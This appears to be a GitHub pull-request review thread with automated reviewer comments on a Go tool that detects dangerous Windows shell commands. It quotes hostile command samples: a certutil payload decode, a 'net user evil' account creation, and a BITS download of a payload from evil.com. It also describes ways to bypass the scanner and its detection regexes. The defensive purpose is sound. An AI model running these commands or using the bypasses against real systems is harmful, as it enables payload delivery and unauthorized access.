- Around line 238-244: The parsing logic in the powershell and cmd branches of
internal/core/inspect.go is too rigid (it assumes /c is at args[0] and script
path is a positional arg) and misses valid layouts like "cmd.exe /d /c
deploy.cmd" or "pwsh -WorkingDirectory C:\repo -File deploy.ps1"; update the
branches that call extractFile to robustly scan args for relevant switches: for
cmd (case "cmd", "cmd.exe") search args for any case-insensitive "/c" token and,
if found, use the following token as the candidate to pass to extractFile (so /d
or other flags before /c are allowed); for PowerShell (case "powershell",
"pwsh", etc.) scan args for the parameter names "-File", "-Command"/"-c",
"-EncodedCommand"/"-enc" (case-insensitive) and handle both parameter/value
pairs (take the next arg for "-File") and standalone encoded forms, falling back
to scanning positional args for a .ps1 file if none of those flags are present;
keep using extractFile to validate extensions but feed it the correct sub-slice
or discovered token(s).

In `@internal/inspect/batch_test.go`:
- Around line 23-24: The test fixture contains password-shaped literals in the
commented batch content (e.g. "REM certutil -decode payload.b64 payload.exe" and
":: net user evil P@ssw0rd! /add"); replace any real-looking credentials with a
neutral placeholder (e.g. "PLACEHOLDER_PASSWORD" or "PLACEHOLDER_PAYLOAD") in
the batch fixture strings used by the tests so the literals at the shown
locations and the duplicates at the other occurrences (lines noted in the
review) no longer resemble real passwords or secrets.

---

Nitpick comments:
In `@internal/policy/builtins_windows_security.go`:
- Around line 12-262: The init() for Windows builtins is large and
precedence-sensitive; refactor by extracting themed builder functions that
return []BuiltinRule (e.g., buildWindowsRegistryRules(),
buildWindowsRemotingRules(), buildWindowsLOLBinsRules(), buildWindowsCOMRules())
and replace the big inline rules slice with a sequence of calls that
concatenates those slices in the exact same order before doing BuiltinRules =
append(rules, BuiltinRules...); ensure each builder constructs the same
BuiltinRule entries (IDs like "builtin:windows:reg-add-general",
"builtin:windows:new-pssession", "builtin:windows:comobject-general", etc.) and
preserves any Predicate logic so rule matching precedence and semantics remain
unchanged.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 51cdf1cf-2fd9-4b96-8d53-9269fa892b5f

📥 Commits

Reviewing files that changed from the base of the PR and between fbd1c62 and 3148ac6.

📒 Files selected for processing (26)
  • internal/core/classify.go
  • internal/core/classify_winshell_test.go
  • internal/core/inspect.go
  • internal/core/inspect_test.go
  • internal/core/normalize.go
  • internal/core/normalize_test.go
  • internal/core/safecmds.go
  • internal/core/safecmds_test.go
  • internal/core/shelltype.go
  • internal/core/shelltype_test.go
  • internal/inspect/batch.go
  • internal/inspect/batch_test.go
  • internal/inspect/powershell.go
  • internal/inspect/powershell_test.go
  • internal/policy/builtins_windows_download.go
  • internal/policy/builtins_windows_lolbin.go
  • internal/policy/builtins_windows_security.go
  • internal/policy/hardcoded.go
  • internal/policy/hardcoded_test.go
  • internal/policy/policy_test.go
  • internal/policy/rule_tags.go
  • justfile
  • scripts/setup-worktree.sh
  • specs/windows-support-plan.md
  • testdata/fixtures/commands.yaml
  • worktree_setup_test.go
✅ Files skipped from review due to trivial changes (4)
  • internal/policy/hardcoded_test.go
  • internal/core/safecmds_test.go
  • scripts/setup-worktree.sh
  • internal/policy/policy_test.go
🚧 Files skipped from review as they are similar to previous changes (10)
  • justfile
  • internal/policy/rule_tags.go
  • internal/core/normalize.go
  • internal/policy/builtins_windows_lolbin.go
  • worktree_setup_test.go
  • internal/policy/hardcoded.go
  • testdata/fixtures/commands.yaml
  • internal/core/classify.go
  • internal/core/shelltype.go
  • internal/core/classify_winshell_test.go

Comment on lines +97 to +123
// stripPowerShellBlockComments removes block comment segments from a line while
// tracking nested <# ... #> depth across lines.
func stripPowerShellBlockComments(line string, blockCommentDepth *int) string {
var b strings.Builder

for i := 0; i < len(line); {
if i+1 < len(line) {
if line[i] == '<' && line[i+1] == '#' {
(*blockCommentDepth)++
i += 2
continue
}

if line[i] == '#' && line[i+1] == '>' && *blockCommentDepth > 0 {
(*blockCommentDepth)--
i += 2
continue
}
}

if *blockCommentDepth == 0 {
b.WriteByte(line[i])
}
i++
}

return b.String()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🌐 Web query:

In PowerShell syntax, do <#and#> inside single-quoted or double-quoted strings start/end block comments, or are they treated as literal string text?

💡 Result:

In PowerShell, <# and #> inside single-quoted or double-quoted strings are treated as literal string text, not as block comment delimiters.

Citations:


Add quoted-string tracking to stripPowerShellBlockComments.

In PowerShell, <# and #> inside single-quoted or double-quoted strings are literal text, not block-comment delimiters. The current implementation ignores quote context and toggles block-comment depth unconditionally on raw <# and #> bytes. This allows bypass—for example, Write-Host "<#" incorrectly pushes the scanner into block-comment mode, hiding all subsequent lines until an unrelated #> appears.

Fix by tracking single-quote and double-quote depth alongside block-comment depth, and only toggle comment markers when outside both quote types.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/inspect/powershell.go` around lines 97 - 123, The
stripPowerShellBlockComments function incorrectly treats "<#" and "#>" inside
quoted strings as block comment delimiters; update stripPowerShellBlockComments
to track quote context by adding boolean state for single-quote and double-quote
(e.g., inSingleQuote, inDoubleQuote) and only increment/decrement
blockCommentDepth when both are false (i.e., when not inside a quoted string).
Toggle the quote state when encountering unescaped '\'' or '"' characters
(respecting PowerShell string rules as needed) and ensure characters inside
quotes are written to the builder without affecting block comment depth; keep
using the same function and parameter names (stripPowerShellBlockComments,
blockCommentDepth) so callers are unchanged.

Comment on lines +42 to +47
{
ID: "builtin:windows:start-bitstransfer-url",
Pattern: regexp.MustCompile(`(?i)\bStart-BitsTransfer\b.*\s-Source\b.*https?://`),
Action: core.DecisionApproval,
Reason: "Downloads content via BITS",
},

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

In PowerShell, can Start-BitsTransfertake the source URL positionally without the-Source parameter name?

💡 Result:

Yes, Start-BitsTransfer can take the source URL positionally without the -Source parameter name. The syntax shows [-Source] <String[]> as the first mandatory positional parameter, followed by [[-Destination] <String[]>]. Multiple Microsoft documentation pages and examples confirm positional usage, such as Start-BitsTransfer https://example.com/file.txt C:\local\file.txt.

Citations:


Start-BitsTransfer rule misses valid positional parameter syntax.

The current regex requires the named -Source parameter, but PowerShell documentation confirms Start-BitsTransfer accepts the URL as a positional argument. Commands like Start-BitsTransfer https://evil.com/payload.exe C:\Temp\payload.exe bypass this detection rule. Update the pattern to match both the named-parameter form (-Source <url>) and positional form.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/policy/builtins_windows_download.go` around lines 42 - 47, The
Start-BitsTransfer rule (ID "builtin:windows:start-bitstransfer-url") currently
only matches the named "-Source" form; update the regexp in the Pattern
(regexp.MustCompile call) to also detect a positional URL argument immediately
following the command (i.e., match either "-Source\s+https?://..." OR whitespace
then "https?://..." after Start-BitsTransfer), so commands like
"Start-BitsTransfer https://..." are caught as well while preserving the
existing named-parameter match and decision Action core.DecisionApproval.

Comment on lines +95 to +97
**Accepted scanner limitations:**
- PowerShell scanning is line-oriented; here-strings, splatting, and commands split across multiple lines are not reconstructed before matching.
- Batch scanning is line-oriented; commands continued with `^` across lines are not reconstructed before matching.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

The batch-scanner limitation is stale.

internal/inspect/batch.go now reconstructs ^-continued logical lines before matching, so this bullet documents a limitation that was already fixed. Please update or remove it to avoid understating the current Windows coverage.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@specs/windows-support-plan.md` around lines 95 - 97, The "Batch scanning is
line-oriented; commands continued with `^` across lines are not reconstructed
before matching" bullet is outdated because internal/inspect/batch.go now
reconstructs `^`-continued logical lines; remove or update that bullet in
specs/windows-support-plan.md to reflect current behavior (either delete the
Batch scanning line or replace it with a note that `internal/inspect/batch.go`
reconstructs caret-continued lines before matching and document any remaining
edge cases).

@kody-ai

This comment has been minimized.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
internal/core/inspect_test.go (1)

171-188: Assert the firewall_modify signal here, not just APPROVAL.

DecisionApproval is shared by several categories in inferDecisionFromSignals, so this can still pass without proving the new batch firewall rule actually fired. Checking for firewall_modify keeps the coverage targeted.

🎯 Tighten the assertion
 	if len(result.Signals) == 0 {
 		t.Fatal("expected signals for dangerous batch file, got 0")
 	}
+	hasFirewallModify := false
+	for _, s := range result.Signals {
+		if s.Category == "firewall_modify" {
+			hasFirewallModify = true
+			break
+		}
+	}
+	if !hasFirewallModify {
+		t.Fatalf("expected firewall_modify signal, got %+v", result.Signals)
+	}
 	if result.Decision != DecisionApproval {
 		t.Fatalf("expected APPROVAL for dangerous batch file, got %s", result.Decision)
 	}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/inspect_test.go` around lines 171 - 188, The test
TestInspectFile_BatchSignals currently only asserts the overall decision
(DecisionApproval) which is ambiguous; update the test to also assert that the
specific signal "firewall_modify" is present in the result.Signals returned by
InspectFile so the batch firewall-rule detection is verified; specifically,
after calling InspectFile in TestInspectFile_BatchSignals, add an assertion that
iterates or checks result.Signals contains the unique signal name
"firewall_modify" (in addition to the existing DecisionApproval assertion) to
ensure inferDecisionFromSignals produced the expected firewall-modification
signal.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In `@internal/core/inspect_test.go`:
- Around line 171-188: The test TestInspectFile_BatchSignals currently only
asserts the overall decision (DecisionApproval) which is ambiguous; update the
test to also assert that the specific signal "firewall_modify" is present in the
result.Signals returned by InspectFile so the batch firewall-rule detection is
verified; specifically, after calling InspectFile in
TestInspectFile_BatchSignals, add an assertion that iterates or checks
result.Signals contains the unique signal name "firewall_modify" (in addition to
the existing DecisionApproval assertion) to ensure inferDecisionFromSignals
produced the expected firewall-modification signal.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: d54ca882-22f2-46c5-8bc6-896cee06a212

📥 Commits

Reviewing files that changed from the base of the PR and between 3148ac6 and baf2cea.

📒 Files selected for processing (3)
  • internal/core/classify_test.go
  • internal/core/inspect_test.go
  • scripts/pre-push
✅ Files skipped from review due to trivial changes (1)
  • scripts/pre-push

@kody-ai

kody-ai Bot commented Apr 2, 2026

Copy link
Copy Markdown

Kody Review Complete

Great news! 🎉
No issues were found that match your current review configurations.

Keep up the excellent work! 🚀

Kody Guide: Usage and Configuration
Interacting with Kody
  • Request a Review: Ask Kody to review your PR manually by adding a comment with the @kody start-review command at the root of your PR.

  • Validate Business Logic: Ask Kody to validate your code against business rules by adding a comment with the @kody -v business-logic command.

  • Provide Feedback: Help Kody learn and improve by reacting to its comments with a 👍 for helpful suggestions or a 👎 if improvements are needed.

Current Kody Configuration
Review Options

The following review options are enabled or disabled:

Options Enabled
Bug
Performance
Security
Cross File
Business Logic

Access your configuration settings here.

@php-workx
php-workx merged commit 2fff5d8 into main Apr 2, 2026
12 checks passed
@php-workx
php-workx deleted the feat/win-security-rules branch April 2, 2026 15:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant